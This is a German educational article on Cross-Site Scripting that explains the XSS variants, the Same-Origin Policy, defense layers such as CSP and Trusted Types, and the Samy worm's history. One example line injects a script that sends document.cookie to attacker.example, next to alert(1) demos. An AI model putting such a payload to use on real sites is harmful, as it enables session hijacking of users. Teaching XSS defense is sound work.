Cross-Site Scripting ist eine der ältesten und hartnäckigsten Web-Schwachstellen-Klassen — dokumentiert seit Ende der 1990er, seit 2003 in der OWASP-Liste, bis heute regelmäßig in CVEs zu finden. Der Kern ist einfach: ein:e Angreifer:in bringt eine Anwendung dazu, fremden JavaScript-Code im Browser einer Nutzer:in auszuführen. Was danach passieren kann, hängt vom Kontext ab — und der Kontext ist meistens die Session der Nutzer:in. Dieser Artikel legt das Modell, die drei Hauptvarianten und die Verteidigungs-Schichten als Karte für die folgenden Artikel.
Was XSS technisch ist
Eine Web-Seite ist eine Mischung aus Inhalt (HTML, Text, Bilder) und Code (JavaScript). Der Browser hat klare Regeln, was Code und was Inhalt ist:
- HTML zwischen
<script>...</script>ist Code. - Text in normalen HTML-Elementen ist Inhalt.
- Manche Attribute (
onclick,onload,href="javascript:...") sind Code-Einsprungstellen.
XSS entsteht, wenn ein:e Angreifer:in Inhalt platziert, der vom Browser als Code interpretiert wird. Die Anwendung wollte einen Text-String anzeigen — der Browser sieht JavaScript und führt es aus.
Klassisches Beispiel:
<!-- Anwendung baut HTML aus Such-Anfrage ohne Encoding -->
<h1>Ergebnisse für: <%= request.params.q %></h1>Wenn q den Wert <script>alert(1)</script> hat, sieht der Browser:
<h1>Ergebnisse für: <script>alert(1)</script></h1>Browser rendert <h1>Ergebnisse für: </h1> und führt das alert(1) aus. Das ist eine Demo — ein:e Angreifer:in würde <script>fetch('https://attacker.example/?c='+document.cookie)</script> einsetzen und Session-Cookies abfischen.
Was ein erfolgreicher XSS-Angriff bedeutet
Das injizierte Skript läuft im Sicherheits-Kontext der angegriffenen Origin. Konkret bedeutet das:
- Zugriff auf den DOM der Seite — alles, was im Browser sichtbar ist, kann gelesen werden.
- Zugriff auf Cookies der gleichen Origin (außer mit
HttpOnly-Flag — siehe cookies-und-localstorage und Kap 16). - Zugriff auf LocalStorage / SessionStorage / IndexedDB der Origin.
- HTTP-Anfragen im Namen der Nutzer:in an die eigene Origin — mit ihren Cookies, Auth-Tokens, Session-Berechtigungen.
- Tasten-Eingaben mitlesen (Keylogger im Browser-Tab).
- Anzeige-Manipulation — komplett neue UI über die echte Seite legen (Login-Phishing direkt in der echten Domain).
Was XSS nicht kann (in normalem Browser-Kontext):
- Zugriff auf andere Origins (Same-Origin-Policy).
- Zugriff auf das lokale Dateisystem (Browser-Sandbox).
- Zugriff auf andere offene Browser-Tabs/-Fenster (außer durch explizite Mechanik).
- Direkte Code-Ausführung im OS (außer durch Browser-Exploit, der separat ist).
Trotzdem ist XSS innerhalb seiner Origin vollständig: jeder Wert, jede Aktion, jeder Session-State der Nutzer:in ist erreichbar. Wer XSS im Banking-Portal hat, hat de facto Banking-Kontrolle der Opfer-Nutzer:in.
Die Same-Origin-Policy als Trennlinie
Die Same-Origin-Policy (SOP) ist das fundamentale Sicherheits-Modell des Browsers seit den 1990ern. Sie sagt: Code aus einer Origin (Schema + Host + Port) darf nicht beliebig auf Daten aus einer anderen Origin zugreifen.
Konkret:
https://bank.exampleundhttps://shop.examplesind verschiedene Origins.- JavaScript auf
bank.examplekann nicht auf Cookies oder DOM vonshop.examplezugreifen — auch wenn beide gleichzeitig in zwei Tabs offen sind. https://bank.exampleundhttp://bank.examplesind ebenfalls verschiedene Origins (anderes Schema).https://bank.example:443undhttps://bank.example:8080sind verschieden (anderer Port).
XSS funktioniert innerhalb einer Origin — es ist nicht ein Bruch der SOP, sondern es nutzt aus, dass das fremde Skript als zur Origin gehörig angesehen wird (weil der Server es ausliefert hat).
Daher: SOP schützt vor Cross-Origin-Angriffen (z. B. dass attacker.example direkt Daten von bank.example liest). SOP schützt nicht vor XSS, wenn der/die Angreifer:in ihren Code in bank.example selbst einschleusen kann.
Die drei klassischen XSS-Varianten
Reflected XSS — Eingabe wird direkt zurückgespielt (im selben Request-Response-Cycle).
Klassischer Fall: Such-Funktion zeigt „Keine Treffer für: <eingabe>" und reflektiert die Eingabe unencodiert. Eine präparierte URL (/search?q=<script>...</script>) führt zur Skript-Ausführung, sobald jemand auf den Link klickt.
Wichtig: Reflected XSS braucht User-Interaktion — meist ein Klick auf einen Phishing-Link, der die Schadnutzer-URL enthält.
Stored XSS — Eingabe wird gespeichert und später anderen Nutzer:innen ausgeliefert.
Klassischer Fall: Forum-Post mit <script>...</script> im Body. Jeder, der den Forum-Beitrag öffnet, bekommt das Skript ausgeführt. Auch: Profilbild-Beschreibung, Kommentar-Felder, Produkt-Bewertungen, Chat-Inhalte.
Stored XSS ist gefährlicher als Reflected, weil keine User-Interaktion-mit-Phishing-Link nötig ist. Nutzer:innen werden allein durch das Besuchen der Seite kompromittiert.
DOM-based XSS — Eingabe wird client-seitig verarbeitet, ohne Server-Beteiligung.
Klassischer Fall: SPA liest location.hash (z. B. #/profile/<script>...</script>) und schreibt den Wert per innerHTML in den DOM. Der Server hat das Skript nie gesehen — die Schwachstelle ist rein im Browser-Code. Vertieft in dom-based-xss.
| Variante | Wo passiert die Schwachstelle? | Wo entsteht das Schadnutzer-Skript? |
|---|---|---|
| Reflected | Server | Im URL/Form, vom User aufgerufen |
| Stored | Server (DB-Speicher) | Im DB-Inhalt, beim Lese-Request reflektiert |
| DOM-based | Client (JavaScript) | In URL-Fragment, JS-Code, etc. — nie zum Server |
Warum XSS bleibt
Ein begründbarer Pessimismus: XSS ist seit 25 Jahren bekannt, es gibt klare Schutz-Mechanismen, und trotzdem ist es jedes Jahr unter den häufigsten Schwachstellen. Warum?
- HTML ist komplex. Es gibt Dutzende Sub-Kontexte (HTML-Body, HTML-Attribut, JavaScript-String, CSS, URL-Parameter, JSON innerhalb von Script-Tag), die alle eigene Encoding-Regeln verlangen.
- Framework-Defaults helfen — aber Lücken bleiben. React, Vue, Angular, Svelte encodieren Default — aber
dangerouslySetInnerHTML,v-html,[innerHTML],{@html}umgehen den Schutz absichtlich. - Dynamische DOM-Manipulation über
innerHTML,document.write,eval,setTimeout-mit-String — alles legitime APIs, alle XSS-Vektoren. - Third-Party-Code (Werbung, Analytics, Widgets, Marketing-Tools) bringt fremden Code in deine Origin — und damit zusätzliche XSS-Flächen.
- Browser-Erweiterungen können XSS-ähnliche Effekte haben.
- Mobile-WebViews in Hybrid-Apps haben oft schwächere Schutz-Konfigurationen.
Genau deshalb ist die moderne Antwort auf XSS nicht „eine perfekte Eingabe-Validierung" — sondern mehrere Schichten, die zusammen wirken:
- Output-Encoding als Default (Framework-Schicht).
- Content Security Policy als Browser-Enforcement.
- Trusted Types als DOM-Sink-Härtung.
- HTML-Sanitization für unvermeidbare Roh-HTML-Insertion.
- HttpOnly-Cookies als Schaden-Begrenzung.
Diese fünf Schichten werden in den nächsten Artikeln einzeln behandelt.
OWASP-Einordnung
In der OWASP Top 10 wandert XSS über die Jahre:
- 2003–2017: „Cross-Site Scripting" als eigene Kategorie.
- 2017: Platz 7.
- 2021: Konsolidiert unter A03 Injection als Sub-Kategorie — weil XSS letztlich auch eine Injection-Klasse ist (Eingabe wird als Code in einem Interpreter, dem Browser, ausgeführt).
- 2025: weiterhin Teil von Injection.
Die Konsolidierung sollte nicht den Eindruck erwecken, dass XSS weniger relevant ist. Die Häufigkeit in echten Web-Anwendungen ist nicht zurückgegangen — die Klassifikation hat sich nur konsolidiert.
In der API Top 10 spielt XSS eine geringere Rolle, weil APIs typischerweise JSON ausgeben statt HTML. Aber: APIs, die HTML-Output liefern (Server-Side-Rendering, E-Mail-Templates aus API-Daten), haben dieselben XSS-Risiken.
Die Verteidigungs-Schichten als Karte
Bevor die nächsten Artikel jede Schicht im Detail behandeln — die Karte:
| Schicht | Was sie tut | Wo im Stack | Vertieft in |
|---|---|---|---|
| Eingabe-Validierung | Schema-Validierung, Allowlist | Anwendungs-Code | (allgemein) |
| Output-Encoding | HTML/JS/URL/CSS-Encoding pro Kontext | Template-Engine | xss-reflected-und-stored |
| HTML-Sanitization | DOMPurify, sanitize-html, Sanitizer-API | Wo Roh-HTML gerendert werden muss | html-sanitization |
| Content Security Policy | Browser-Enforcement der Skript-Quellen | HTTP-Header | content-security-policy |
| Trusted Types | Browser-Enforcement der DOM-Sinks | HTTP-Header + JS-Policy | trusted-types |
| HttpOnly-Cookies | Cookies vor JS-Zugriff schützen | Cookie-Flag | Kap 16 (secure-headers) |
| CSP Nonces / Hashes | Inline-Skripte kontrolliert erlauben | CSP | content-security-policy |
Defense-in-Depth heißt: alle Schichten setzen. Eine einzelne reicht in der Praxis nicht zuverlässig.
Eine kurze Geschichte
XSS wurde Ende der 1990er von Microsoft-Forschenden dokumentiert — der Begriff „Cross-Site Scripting" stammt aus CERT-Advisories von 2000. Frühe Berühmtheit: Samy Worm auf MySpace (2005) — ein stored-XSS-Wurm, der innerhalb von 20 Stunden über eine Million Profile infizierte, indem jeder, der ein infiziertes Profil besuchte, selbst infiziert wurde und Samys Profil zu seinen „Freunden" hinzufügte. Samy Kamkar wurde verurteilt, der Wurm wurde gefunden und gestoppt — die Demonstration der Skalierbarkeit von Stored XSS aber war bleibend.
Über die Jahre wechselten die Schwerpunkte:
- Frühe 2000er: unencodierte Reflected-XSS in Search-Endpunkten und Error-Pages.
- Mitte-2000er: Stored-XSS in Foren, Profilen, Kommentaren.
- Ab 2010: Aufstieg von DOM-XSS mit AJAX-getriebenen Apps.
- Ab 2015: SPA-Frameworks brachten Default-Encoding mit; XSS-Häufigkeit ging zurück, blieb aber in
dangerouslySetInnerHTML-Use-Cases. - Heute: Content Security Policy und Trusted Types sind die strukturelle Antwort; Sanitization-Libraries (DOMPurify) sind Industrie-Standard für unvermeidbare Cases.
XSS ist nicht verschwunden — es ist schwerer geworden, weil mehrere Schichten zusammenwirken müssen, damit es klappt. Genau das ist Defense-in-Depth.
Interessantes
Samy Worm: der erste virale XSS-Vorfall
Samy Kamkar veröffentlichte 2005 den nach ihm benannten Wurm auf MySpace. Über ein stored-XSS in Profil-CSS injizierte er JavaScript, das jeden Besucher zu einem „Freund" von Samy machte und denselben Code in ihr Profil schrieb. Wurm wuchs exponentiell. Es war eine technische Demonstration, kein bösartiger Angriff im engeren Sinn — Samy hatte trotzdem strafrechtliche Konsequenzen.
Self-XSS ist kein XSS
Manche Plattformen warnen: „Wenn du Code in die Browser-Konsole pastest, kann dich jemand übernehmen." Das ist Self-XSS — der/die Nutzer:in führt den Code selbst aus, niemand exploitet eine Schwachstelle der Anwendung. Anti-Social-Engineering-Bedürfnis (Scams überreden Menschen, Code in die Konsole zu pasten), aber technisch keine Schwachstelle der Plattform.
Mutated XSS (mXSS) und HTML-Parser-Quirks
Eine subtile Variante: Eingabe wirkt harmlos, wird aber durch Browser-Parser-Quirks zu Schadcode. Beispiel: <svg><style></svg>...</style></svg>-Tricks. Mario Heiderich hat das in den 2010ern systematisch erforscht. Antwort: Sanitizer-Libraries, die solche Quirks berücksichtigen (DOMPurify).
XSS vs. CSRF: oft verwechselt
XSS = fremder Code läuft in deiner Origin. CSRF = Browser sendet im Namen der eingeloggten Nutzer:in eine Anfrage an eine fremde Origin. Zwei verschiedene Angriffs-Klassen mit verschiedenen Schutz-Patterns. XSS schlägt CSRF in der Wirkung — wer XSS hat, kann auch alles, was CSRF könnte, plus mehr.
HttpOnly-Cookies sind keine vollständige Lösung
Ein häufiges Missverständnis: „Cookies sind HttpOnly, also kein XSS-Problem." Falsch. XSS kann immer noch im Namen der Nutzer:in API-Aufrufe machen — der Browser sendet die HttpOnly-Cookies automatisch mit. Was HttpOnly verhindert: dass JS direkt document.cookie liest. Aber XSS kann trotzdem alle Funktionen ausführen.
XSS-Auditor war eine Sackgasse
Browser hatten ab Mitte-2000er eingebaute „XSS-Auditor"-Heuristiken — versuchten reflected XSS automatisch zu erkennen und zu blockieren. Es stellte sich heraus, dass die Heuristiken selbst Angriffs-Vektoren sein konnten (Side-Channel-Leaks). Chrome hat den XSS-Auditor 2019 entfernt; Edge folgte. Verteidigung muss heute serverseitig und über CSP passieren.
Frameworks haben XSS-Häufigkeit gesenkt — nicht behoben
Vor React/Vue/Angular war jeder String-zu-HTML-Pfad ein XSS-Risiko. Heute encodieren Frameworks per Default. Trotzdem: jede explizite Roh-HTML-Insertion (dangerouslySetInnerHTML, v-html, [innerHTML]) ist ein Risiko. Pentest-Berichte aus 2024/25 finden XSS-Bugs vor allem in diesen bewussten Ausstiegs-Stellen.
Weiterführende Ressourcen
Externe Quellen
- OWASP — Cross-Site Scripting (XSS)
- OWASP XSS Prevention Cheat Sheet
- OWASP DOM-based XSS Prevention Cheat Sheet
- PortSwigger Web Security Academy — XSS
- MDN — Same-Origin Policy
- Cure53 — HTML5 Security Cheatsheet
- Samy Worm — Wikipedia
- HTML5 Security Cheatsheet (Heiderich)